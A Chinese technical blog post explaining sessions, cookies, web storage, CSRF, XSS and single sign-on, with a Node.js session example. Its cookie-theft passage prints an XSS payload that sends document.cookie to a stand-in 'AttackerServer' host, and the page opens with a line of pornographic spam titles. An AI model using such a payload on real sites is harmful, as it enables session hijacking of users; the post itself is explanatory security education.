成人国产在线小视频_日韩寡妇人妻调教在线播放_色成人www永久在线观看_2018国产精品久久_亚洲欧美高清在线30p_亚洲少妇综合一区_黄色在线播放国产_亚洲另类技巧小说校园_国产主播xx日韩_a级毛片在线免费

資訊專欄INFORMATION COLUMN

session與登錄機(jī)制

nifhlheimr / 2898人閱讀

摘要:每次消費(fèi)時(shí),如果顧客出示這張卡片,則此次消費(fèi)就會(huì)與以前或以后的消費(fèi)相聯(lián)系起來。由于可以被人為的禁止,必須有其他機(jī)制以便在被禁止時(shí)仍然能夠把傳遞回服務(wù)器。

github 地址:戳這里

session 概念

指一類用來在客戶端與服務(wù)器之間保持狀態(tài)的解決方案

這種解決方案的存儲(chǔ)結(jié)構(gòu)

特點(diǎn)

由于 Session 是以文本文件形式存儲(chǔ)在服務(wù)器端的,所以不怕客戶端修改 Session 內(nèi)容。(也可以用其他存儲(chǔ)方式比如redis

Session對(duì)象是有生命周期的

Session實(shí)例是輕量級(jí)的,所謂輕量級(jí):是指他的創(chuàng)建和刪除不需要消耗太多資源

Session對(duì)象內(nèi)部有一個(gè)緩存

用法

Session 對(duì)象存儲(chǔ)特定用戶會(huì)話所需的屬性及配置信息,在web頁跳轉(zhuǎn)時(shí),信息將不會(huì)丟失

通常用于以下操作

存儲(chǔ)整個(gè)會(huì)話過程中保持用戶狀態(tài)的信息,比如登錄信息或者用戶瀏覽時(shí)產(chǎn)生的其它信息

存儲(chǔ)只需要在 頁重新加載 過程中,或者 一組功能頁 之間保持狀態(tài)的對(duì)象

在 Web服務(wù)器上保持用戶的 狀態(tài)信息 供在任何時(shí)間從任何設(shè)備上的頁面進(jìn)行訪問。

限制

用戶登錄越多,session需要的內(nèi)存量越大

每個(gè) Session 對(duì)象的持續(xù)時(shí)間是用戶訪問的時(shí)間加上不活動(dòng)的時(shí)間。

為何需要session

HTTP協(xié)議本身是無狀態(tài)的

舉個(gè)喝咖啡的例子:

1、該店的店員很厲害,能記住每位顧客的消費(fèi)數(shù)量,只要顧客一走進(jìn)咖啡店,店員就知道該怎么對(duì)待了。這種做法就是協(xié)議本身支持狀態(tài)。

2、發(fā)給顧客一張卡片,上面記錄著消費(fèi)的數(shù)量,一般還有個(gè)有效期限。每次消費(fèi)時(shí),如果顧客出示這張卡片,則此次消費(fèi)就會(huì)與以前或以后的消費(fèi)相聯(lián)系起來。這種做法就是在客戶端保持狀態(tài)。

3、發(fā)給顧客一張會(huì)員卡,除了卡號(hào)之外什么信息也不紀(jì)錄,每次消費(fèi)時(shí),如果顧客出示該卡片,則店員在店里的紀(jì)錄本上找到這個(gè)卡號(hào)對(duì)應(yīng)的紀(jì)錄添加一些消費(fèi)信息。這種做法就是在服務(wù)器端保持狀態(tài)。

具體機(jī)制

當(dāng)程序需要為某個(gè)客戶端的請(qǐng)求創(chuàng)建一個(gè)session的時(shí)候,服務(wù)器首先檢查這個(gè)客戶端的請(qǐng)求里是否已包含了一個(gè) session標(biāo)識(shí) - 稱為session id,如果已包含一個(gè)session id則說明以前已經(jīng)為此客戶端創(chuàng)建過session,服務(wù)器就按照session id把這個(gè)session檢索出來使用(如果檢索不到,可能會(huì)新建一個(gè)),如果客戶端請(qǐng)求不包含session id,則為此客戶端創(chuàng)建一個(gè)session并且生成一個(gè)與此session相關(guān)聯(lián)的session idsession id的值應(yīng)該是一個(gè) 既不會(huì)重復(fù),又不容易被找到規(guī)律以仿造的字符串 ,這個(gè)session id將被在本次響應(yīng)中返回給客戶端保存。

由于cookie可以被人為的禁止,必須有其他機(jī)制以便在cookie被禁止時(shí)仍然能夠把session id傳遞回服務(wù)器。經(jīng)常被使用的一種技術(shù)叫做URL重寫

兩種形式:

// 作為url附加路徑
"http://..../xxx;jsessionid=abcdefjijeoijoifjioe"


// 作為查詢字符串
"http://..../xxx?jsessionid=abcdefjijeoijoifjioe"

較老的技術(shù),表單隱藏字段,此方法在防止csrf中有用

實(shí)現(xiàn)

基于cookie來實(shí)現(xiàn)用戶和數(shù)據(jù)的映射

將口令放在cookie中,口令一旦被褚昂愛,就丟失映射關(guān)系。通常session的有效期通常短,過期就將數(shù)據(jù)刪除

一旦服務(wù)器檢查到用戶請(qǐng)求cookie中沒有攜帶session_id,它會(huì)為之生成一個(gè)值,這個(gè)值是唯一且不重復(fù)的值,并設(shè)定超時(shí)時(shí)間。如果過期就重新生成,如果沒有過期,就更新超時(shí)時(shí)間

var sessions = {};
var key = "session_id";
var EXPIRES = 20*60*1000;
var generate  = function () {
    var session = {};
    session.id = (new Date().getTime()) + Math.random();
    session.cookie = {
        expire: (new Date()).getTime() + EXPIRES
    }
    sessions[session.id] = session
}

function (req, res) {
    var id = req.cookies[key];
    if (!id) {
        req.session = generate();
    } else {
        var session = sessions[id];
        if (session) {
            if (session.cookie.expire > new Date().getTime()) {
                session.cookie.expire = new Date().getTime() + EXPIRES;
                req.session = session;
            } else {
                delete sessions[id];
                req.session = generate();
            }
        } else {
            req.session = generate();
        }
    }
}
一種節(jié)省空間的做法

由于關(guān)閉瀏覽器不會(huì)導(dǎo)致session被刪除,迫使服務(wù)器為seesion設(shè)置了一個(gè)失效時(shí)間,當(dāng)距離客戶端上一次使用session的時(shí)間超過這個(gè)失效時(shí)間時(shí),服務(wù)器就可以認(rèn)為客戶端已經(jīng)停止了活動(dòng),才會(huì)把session刪除以節(jié)省存儲(chǔ)空間

reference

http://justsee.iteye.com/blog...

https://baike.baidu.com/item/...

https://blog.csdn.net/hjc1984...

cookie

存儲(chǔ)在用戶本地終端的數(shù)據(jù)

http請(qǐng)求自動(dòng)發(fā)送,跨域除外

用途

客戶端記錄用戶信息

特點(diǎn)

存儲(chǔ)在硬盤上的cookie可以在不同的瀏覽器進(jìn)程間共享,比如兩個(gè)IE窗口。而對(duì)于保存在內(nèi)存里的cookie,不同的瀏覽器有不同的處理方式。

屬性

namecookie名稱

valuecookie

domain:可以訪問cookie的域名,某一級(jí)域名可以訪問上一級(jí)級(jí)域名的cookie

expires/Max-Age:過期時(shí)間

Sizecookie的大小

httphttponly屬性,為true,不能用document.cookie獲得

secure:為true只能在https獲得

path:子路徑訪問父路徑cookie

創(chuàng)建cookie

document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";

讀取cookie

document.cookie

修改cookie

document.cookie =

采用覆蓋的形式

刪除cookie

將過期時(shí)間設(shè)置為過去時(shí)間即可

localStoragesessionStorage的區(qū)別

存儲(chǔ)大小

cookie數(shù)據(jù)大小不能超過4k。

sessionStoragelocalStorage 雖然也有存儲(chǔ)大小的限制,但比cookie大得多,可以達(dá)到5M或更大。

有效時(shí)間

localStorage 存儲(chǔ)持久數(shù)據(jù),瀏覽器關(guān)閉后數(shù)據(jù)不丟失除非主動(dòng)刪除數(shù)據(jù);

sessionStorage 數(shù)據(jù)在當(dāng)前瀏覽器窗口關(guān)閉后自動(dòng)刪除。

cookie 設(shè)置的cookie過期時(shí)間之前一直有效,即使窗口或?yàn)g覽器關(guān)閉

sessionStorage

會(huì)話級(jí)別的存儲(chǔ)

臨時(shí)性的,頁面打開有,頁面關(guān)閉沒有

數(shù)據(jù)不共享

通過a標(biāo)簽來跳出一個(gè)頁面,則sessionStorage共享

localStorage

持久化的本地存儲(chǔ)

永久性的存儲(chǔ)

不能跨域

數(shù)據(jù)共享

cookie

cookie在同源且符合path規(guī)則的文檔之間共享

max-age用秒來設(shè)置cookie的生存期。

如果max-age為0,則表示刪除該cookie。

如果max-age為負(fù)數(shù),則表示該cookie僅在本瀏覽器窗口以及本窗口打開的子窗口內(nèi)有效,關(guān)閉窗口后該cookie即失效。

如何得到cookie

有兩個(gè)http頭部是專門負(fù)責(zé)設(shè)置以及發(fā)送cookie的,它們分別是 Set-Cookie 以及 Cookie 。當(dāng)服務(wù)器返回給客戶端一個(gè)http響應(yīng)信息時(shí),其中如果包含Set-Cookie這個(gè)頭部時(shí),意思就是指示客戶端建立一個(gè)cookie,并且在后續(xù)的http請(qǐng)求中自動(dòng)發(fā)送這個(gè)cookie到服務(wù)器端,直到這個(gè)cookie過期。如果cookie的生存時(shí)間是整個(gè)會(huì)話期間的話,那么瀏覽器會(huì)將cookie保存在內(nèi)存中,瀏覽器關(guān)閉時(shí)就會(huì)自動(dòng)清除這個(gè)cookie。另外一種情況就是保存在客戶端的硬盤中,瀏覽器關(guān)閉的話,該cookie也不會(huì)被清除,下次打開瀏覽器訪問對(duì)應(yīng)網(wǎng)站時(shí),這個(gè)cookie就會(huì)自動(dòng)再次發(fā)送到服務(wù)器端。

cookie服務(wù)器端寫入
//java的寫法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);

//php 中的寫法
setcookie(name,value,expire,path,domain,secure)
reference

https://my.oschina.net/ososch...

https://blog.csdn.net/dong123...

csrf(跨站請(qǐng)求偽造) 過程

用戶c打開瀏覽器,登錄網(wǎng)站a

登錄成功后,記錄登錄信息cookie

在網(wǎng)站a未退出的情況下,打開網(wǎng)站b

網(wǎng)站b在收到用戶請(qǐng)求后返回攻擊性代碼,獲取網(wǎng)站acookie,并發(fā)出請(qǐng)求a網(wǎng)站(注意:這兒是兩步)

網(wǎng)站a誤以為還是用戶c發(fā)出的請(qǐng)求

竊取cookie

向被攻擊者的服務(wù)器頁面上注入一段javascript代碼(借助xss跨站腳本攻擊)

document.location="http://AttackerServer/getCookie.php?cookie="+document.cookie;
防御

驗(yàn)證http referer字段

在請(qǐng)求地址中添加token

系統(tǒng)開發(fā)者可以在HTTP請(qǐng)求中以參數(shù)的形式加入一個(gè)隨機(jī)產(chǎn)生的token,并在服務(wù)器端建立一個(gè)攔截器來驗(yàn)證這個(gè)token,如果請(qǐng)求中沒有token或者token內(nèi)容不正確,則認(rèn)為可能是CSRF攻擊而拒絕該請(qǐng)求。

HTTP頭中自定義屬性并驗(yàn)證(不會(huì)被泄露)

reference

http://www.freebuf.com/articl...

xss(跨站腳本攻擊) 分類

反射型(非持久型)

那些瀏覽器每次都要在參數(shù)中提交惡意數(shù)據(jù)才能觸發(fā)的跨站腳本漏洞。

可以讓一個(gè)域名轉(zhuǎn)向到惡意URL,把那個(gè)域名發(fā)給用戶

存儲(chǔ)型(持久型)

指通過提交惡意數(shù)據(jù)到存儲(chǔ)器(比如數(shù)據(jù)庫、文本文件等),Web應(yīng)用程序輸出的時(shí)候是從存儲(chǔ)器中讀出惡意數(shù)據(jù)輸出到頁面的一類跨站腳本漏洞。

常見攻擊方法

繞過xss-filter

利用img

空格,回車,tab來繞過過濾

利用事件如:

css跨站:background-url

利用字符編碼

防御

xss-filter,過濾標(biāo)簽

2. httpOnly

將變量輸出到頁面時(shí),要編碼

reference

http://www.cnblogs.com/wqhwe/...

單系統(tǒng)登錄 http無狀態(tài)協(xié)議

瀏覽器每次請(qǐng)求,服務(wù)器都多帶帶處理

要鑒別瀏覽器請(qǐng)求,又因?yàn)閔ttp是無狀態(tài)協(xié)議,所以需要服務(wù)器和瀏覽器共同維護(hù)一個(gè)狀態(tài)

會(huì)話機(jī)制

瀏覽器第一次請(qǐng)求服務(wù)器,創(chuàng)建一個(gè)會(huì)話id,并由瀏覽器存儲(chǔ),以后每次請(qǐng)求都帶上,服務(wù)器取得后可判斷是否是同一個(gè)用戶

單系統(tǒng)利用cookie

登錄狀態(tài)

瀏覽器第一次請(qǐng)求服務(wù)器,需要驗(yàn)證用戶名和密碼,通過與數(shù)據(jù)庫里的作比較,驗(yàn)證通過將會(huì)話標(biāo)記為“已授權(quán)”

以后每次請(qǐng)求都檢查登錄狀態(tài)

單點(diǎn)登錄(多系統(tǒng)登錄,single sign on,sso)

用戶登錄注銷一次,就可以在多個(gè)系統(tǒng)中得到效果

由于多系統(tǒng)的域不一樣,所有cookie會(huì)受到限制,瀏覽器發(fā)送http請(qǐng)求時(shí)會(huì)自動(dòng)攜帶與該域匹配的cookie,而不是所有cookie

如果將domain設(shè)置為頂級(jí)域名會(huì)有限制:

系統(tǒng)群域名得統(tǒng)一

各系統(tǒng)使用的技術(shù)要相同

cookie不安全

登錄

相比于單系統(tǒng)登錄,sso多了一個(gè)認(rèn)證中心,只有認(rèn)證中心接受用戶名和密碼等安全信息,其他系統(tǒng)不提供登錄入口,只接受認(rèn)證中心的間接授權(quán)。間接授權(quán)通過令牌實(shí)現(xiàn),sso認(rèn)證中心驗(yàn)證用戶的用戶名密碼沒問題,創(chuàng)建授權(quán)令牌,在接下來的跳轉(zhuǎn)過程中,授權(quán)令牌作為參數(shù)發(fā)送給各個(gè)子系統(tǒng),子系統(tǒng)拿到令牌,即得到了授權(quán),可以借此創(chuàng)建局部會(huì)話,局部會(huì)話登錄方式與單系統(tǒng)的登錄方式相同。這個(gè)過程,也就是單點(diǎn)登錄的原理,用下圖說明

用戶登錄成功之后,會(huì)與sso認(rèn)證中心及各個(gè)子系統(tǒng)建立會(huì)話,用戶與sso認(rèn)證中心建立的會(huì)話稱為全局會(huì)話,用戶與各個(gè)子系統(tǒng)建立的會(huì)話稱為局部會(huì)話,局部會(huì)話建立之后,用戶訪問子系統(tǒng)受保護(hù)資源將不再通過sso認(rèn)證中心

注銷

具體跳轉(zhuǎn)

假設(shè)認(rèn)證中心和系統(tǒng)2的url分別是:sso.com、system2.com ,訪問 system2.com 時(shí)因未登錄而跳轉(zhuǎn)到 sso.com ,跳轉(zhuǎn)地址:http://sso.com?service=http://system2.com(不需要額外信息),此時(shí),就變成了瀏覽器與 http://sso.com 站點(diǎn)之間的會(huì)話,這個(gè)會(huì)話因?yàn)橄到y(tǒng)1登錄的原因已經(jīng)被標(biāo)記為已登錄,所以認(rèn)證中心取一塊令牌,根據(jù)service參數(shù)回跳,并附上令牌,回跳地址:http://system2.com?token=token

如何驗(yàn)證登錄信息

不同域之間

當(dāng)?shù)卿浤骋幌到y(tǒng)后,須跳轉(zhuǎn)到其它系統(tǒng)并設(shè)置cookie

nodejs實(shí)現(xiàn)302跳轉(zhuǎn)

同一域名不同站點(diǎn)

共享cookie

同一域,不同子域

存放sessionId的域都是上一級(jí)的

reference

https://www.cnblogs.com/wxj-1...

http://www.cnblogs.com/ywlake...

文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址:http://systransis.cn/yun/95182.html

相關(guān)文章

  • cookiesession詳解

    摘要:所謂的無連接就是服務(wù)器收到了客戶端的請(qǐng)求之后,響應(yīng)完成并收到客戶端的應(yīng)答之后,即斷開連接。從而節(jié)省傳輸時(shí)間。協(xié)議對(duì)事務(wù)的處理沒有記憶能力。這種方式某種方面上講解放了服務(wù)器,但是卻不利于客戶端與服務(wù)器的連接。 session與cookie是什么? session與cookie屬于一種會(huì)話控制技術(shù).常用在身份識(shí)別,登錄驗(yàn)證,數(shù)據(jù)傳輸?shù)?舉個(gè)例子,就像我們?nèi)コ匈I東西結(jié)賬的時(shí)候,我們要拿出我...

    SwordFly 評(píng)論0 收藏0
  • web認(rèn)證機(jī)制

    摘要:最近讀了幾篇大牛的博客才對(duì)認(rèn)證機(jī)制方面有了進(jìn)一步了解。盡管在服務(wù)器端可以優(yōu)雅地使用技術(shù)如攔截器或動(dòng)態(tài)代理對(duì)所有進(jìn)行前置的登錄驗(yàn)證。認(rèn)證方式比較支持問題和其實(shí)是緊密相聯(lián)的。第三方授權(quán)問題采用傳統(tǒng)認(rèn)證方式,若要訪問業(yè)務(wù),一定要先登錄。 引言 以前對(duì)認(rèn)證這方面的認(rèn)識(shí)一直不太深刻,不清楚為什么需要token這種認(rèn)證,為什么不簡單使用session存儲(chǔ)用戶登錄信息等。最近讀了幾篇大牛的博客才對(duì)認(rèn)...

    fai1017 評(píng)論0 收藏0
  • Cookie/Session機(jī)制詳解

    摘要:要跟蹤該會(huì)話,必須引入一種機(jī)制。服務(wù)器檢查該,以此來辨認(rèn)用戶狀態(tài)。提示中保存中文只能編碼。不推薦使用等中文編碼,因?yàn)闉g覽器不一定支持,而且也不支持編碼。這是由的隱私安全機(jī)制決定的。隱私安全機(jī)制能夠禁止網(wǎng)站非法獲取其他網(wǎng)站的。會(huì)話(Session)跟蹤是Web程序中常用的技術(shù),用來跟蹤用戶的整個(gè)會(huì)話。常用的會(huì)話跟蹤技術(shù)是Cookie與Session。Cookie通過在客戶端記錄信息確定用戶身份...

    番茄西紅柿 評(píng)論0 收藏0
  • 大話javascript 7期:Cookie、Session和Token的那些事兒

    摘要:服務(wù)器檢查該,以此來辨認(rèn)用戶狀態(tài)。如果為,表示刪除該。防篡改簽名服務(wù)器為每個(gè)項(xiàng)生成簽名。服務(wù)端根據(jù)接收到的內(nèi)容和簽名,校驗(yàn)內(nèi)容是否被篡改。算法得到的簽名和請(qǐng)求中數(shù)據(jù)的簽名不一致,則證明數(shù)據(jù)被篡改。 一、登錄認(rèn)證機(jī)制 隨著互聯(lián)網(wǎng)的不斷發(fā)展,無論是網(wǎng)站還是app,一般都會(huì)要求用戶注冊(cè)/登錄。主要的登錄方式有賬戶密碼登錄、第三方登錄(微信登錄、QQ登錄、微博登錄等) 登錄可分為三個(gè)階段(登錄...

    tianren124 評(píng)論0 收藏0
  • CookieSession的區(qū)別

    摘要:的作用就是為了解決協(xié)議無狀態(tài)的缺陷所作的努力。路徑與域一起構(gòu)成的作用范圍。這種生命期為瀏覽器會(huì)話期的被稱為會(huì)話。而機(jī)制采用的是一種在服務(wù)器端保持狀態(tài)的解決方案??缬蛎缃癖黄毡橛迷诰W(wǎng)絡(luò)中,例如等。僅在他所在的域名內(nèi)有效。 前言 本文分別對(duì)Cookie與Session做一個(gè)介紹和總結(jié),并分別對(duì)兩個(gè)知識(shí)點(diǎn)進(jìn)行對(duì)比分析,讓大家對(duì)Cookie和Session有一個(gè)更深入的了解,并對(duì)自己的開發(fā)工...

    kumfo 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

最新活動(dòng)
閱讀需要支付1元查看
<